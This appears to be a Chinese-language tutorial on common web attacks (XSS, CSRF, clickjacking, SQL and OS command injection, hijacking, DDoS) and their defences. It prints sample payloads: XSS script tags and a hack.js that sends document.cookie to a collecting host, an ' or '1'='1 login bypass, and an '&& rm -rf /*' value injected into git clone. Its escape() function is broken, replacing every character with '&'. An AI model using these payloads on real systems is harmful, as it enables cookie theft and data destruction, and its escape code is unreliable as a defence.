常见的web网络攻击
-
XSS
-
CSRF
-
点击劫持
-
SQL注入
-
OS注入
-
请求劫持
-
DDOS
1. XSS
cross site scripting,跨站脚本攻击,
跨站脚本攻击是指通过存在安全漏洞的web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击
1.1 造成的影响
-
利用虚拟输入表单骗取用户个人信息
-
利用脚本窃取用户的cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求
-
显示伪造的文章或图片
1.2 XSS攻击分类
1.2.1 发射型-url参数直接注入
//1,alert尝试网站是否有漏洞 http://localhost:8080/?name=<script>alert(1)<script> //2.获取cookie http://localhost:8080/?name=<script src='http://localhost:3000/hack.js'><script> //短域名伪造:https://dwz/cn/
hack.js
let img=new Image() img.src='http://localhost:3000/?a='+document.cookie
1.2.2 存储型-存储到数据库后读取时注入
一般是表单提交,比如我们常见的评论
//评论 //1.alert尝试网站是否有漏洞 <script>alter(1)</script> //2.跨站脚本注入 美女加v<script src='http://localhost:3000/hack.js'></script>
1.3 XSS攻击的危害
-
获取页面数据
-
获取cookie
-
劫持前端逻辑
-
发送请求
-
偷取网站的任意数据
-
偷取用户的资料
-
偷取用户的秘密和登录态
-
欺骗用户
1.4 防范措施
1.4.1 ejs转义
<% 代码 %> 用于执行其中JavaScript代码 <%= 代码 %> 会对代码进行html转义 <%- 代码 %> 将不会进行转义
1.4.2 Head
ctx.set('X-XSS-Protection',0) //禁止xss过滤 http://localhost:8080/?name=<script>alert(1)<script> 可以拦截 但伪装一下就不行了
-
0 禁止XSS过滤
-
1 启用XSS过滤(通常浏览器是默认开启的),如果检测到跨站脚本攻击,浏览器将清除页面(删除不安全的部分)
1.4.3 CSP
内容安全策略:是一个附加安全层,用于帮助检测和缓解某些类型的攻击,包括跨站脚本(XSS)和数据注入等攻击。这些攻击可用于实现从数据窃取到网站破坏或做恶意软件分发版本等用途
CSP本质上就是建立白名单,开发者明确告诉浏览器那些外部资源可以加载和执行。我们只需要配置规则,如何拦截是有浏览器自己实现的。我们可以通过这种方式来尽量减少XSS攻击
//只允许加载本站资源 Content-Security-Policy:default-src 'self' //只允许加载 HTTPS 协议图片 Content-Security-Policy:img-src https://* //不允许加载任何来源框架 Content-Security-Policy:child-src 'none'
ctx.set('Content-Security-Policy',"default-src 'self'")
1.4.4 转义字符
用户的输入永远不可信任的,最普通的做法就是转义输入输出的内容,对于引号,尖括号,斜杠进行转义
function escape(str){ str=str.replace(/&/g,'&') str=str.replace(/</g,'&') str=str.replace(/>/g,'&') str=str.replace(/&/g,'&') str=str.replace(/"/g,'&') str=str.replace(/''/g,'&') str=str.replace(/`/g,'&') str=str.replace(/\//g,'&') return str }
富文本来说,显然不能通过上面的办法来转义所有字符,因为这样会把需要的格式也过滤掉,对于这种情况,通常采用白名单过滤的办法,当然也可以通过黑名单过滤,但是考虑到需要过滤的标签和标签的属性是在太多,更加推荐使用白名单的方式
const xss=require('xss') let html=xss('')
1.4.5 httpOnly cookie
这是预防xss攻击窃取用户cookie最有效的防御手段,web应用程序在设置cookie时,将其属性设为httpOnly,就可以避免该网页的cookie被客户端恶意窃取,保护用户cookie信息
response.addHeader('Set-Cookie','uid=112; Path=/; HttpOnly')
2. CSRF
CSRF,跨站请求伪造,是一种常见的web攻击,他利用用户已登录的身份,在用户毫不知情的情况下,以用户的名义完成非法操作
-
用户已经登录了站点A,并在本地记录了cookie
-
在用户没有登出站点A的情况下(也就是cookie生效的情况下),访问了恶意攻击者提供的引诱危险站点B(B站点要求访问站点A)
-
站点A没有做任何CSRF防御
2.1 CSRF攻击危害
-
利用用户登录态
-
用户不知情
-
完成业务请求
-
窃取用户资金(转账,消费)
-
冒充用户发帖
-
损害网站声誉
2.2 防御
-
进制第三方网站带cookie(存在兼容问题)
-
Referer Check -Https不发送referer
-
验证码
3. 点击劫持-clickjacking
点击劫持是一种视觉欺骗的攻击手段,攻击者将需要攻击的网站通过iframe嵌套的方式嵌入自己的网页中,并将iframe设置为透明,在页面中透出一个按钮诱导用户点击
3.1 防御
3.1.1 X-FRAME-OPTIONS
X-FRAME-OPTIONS
是一个http请求头,在现代浏览器有一个很好的支持,这个http响应头就是为了防御用iframe嵌套的点击劫持攻击
响应头有三个值可选:
-
DENY,表示页面不允许通过iframe的方式展示
-
SAMEORIGIN,表示页面可以在相同域名下通过iframe的方式展示
-
ALLOW-FROM,表示页面可以在指定来源的iframe中展示
ctx.set('X-FRAME-OPTIONS','DENY')
3.1.2 JS方式
<head> <style> html{ display:none !important; } </style> <body> <script> if(self==top){ var style=document.getElementById('click-jack') document.body.removeChild(style) }else{ top.location=self.location } </script> </body> </head>
通过以上两种方式在攻击者通过iframe的方式加载页面是,攻击者的网页直接不显示所有内容了
4. SQL注入
//填入特殊密码 1 'or' 1 '=' 1 //拼接后的SQL SELECT * FROM test.user WHERE username='111' AND password='1' or '1'='1'
4.1 防御
-
所有的查询语句建议使用数据库提供的参数化查询接口**,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中,即不要直接拼接SQL语句。
const sql=` select * from test.user where username= ? and password=? ` res=await query(sql,[ctx.request.body.username,ctx.request.body.password])
-
严格限制web应用的数据库的操作权限
-
后台代码检查输入的数据是否符合预期
-
对进入数据库的特殊字符进行转义处理
5. OS命令注入
OS命令注入和SQL注入差不多,只不过SQL注入是针对数据库的,而OS命令注入是针对操作系统的。OS命令注入攻击指通过web应用,执行非法的操作系统命令到攻击的目标。只要在能调用Shell函数的地方就有存在被攻击的风险。倘若调用shell是内存疏漏,就可以执行插入的非法命令
//以node.js 为例,假如在接口中需要从github下载用户指定的repo const exec=require('mz/child_process').exex let params={/*用户输入的参数*/} exec(`git clone ${params.repo} /some/path`)
若果传入的参数是会怎样
https://github.com/xx/xx.git && rm -rf /* &&
6. 请求劫持
-
DNS劫持:DNS服务器(DNS解析各个步骤)被篡改, 修改了域名解析的结果,使的访问的不是预期的ip
-
HTTP劫持 运营商劫持 此时大概只能升级HTTPS
7. DDOS
DDOS不是一种攻击,而是一大类攻击的总称。它有几十种类型,新的攻击方法还在不断发明出来。网站运行的各个环节,都可以是攻击目标。只要把一个环节攻破,使的整个流程跑不起来,就达到了瘫痪服务器的目的
其实,比较常见的一种攻击是cc攻击,她就是简单粗暴的送来大量正常的请求,超出服务器的最大承受量,导致死机
7.1 防御
- 备份网站 备份网站不一定是全功能的,如果能做到全静态浏览,就能满足需求。最低限度应该可以显示公告,告诉用户,网站出了问题,正在全力抢修 - HTTP 请求的拦截 硬件 服务器 防火墙 - 带宽扩容+CDN 提高犯罪成本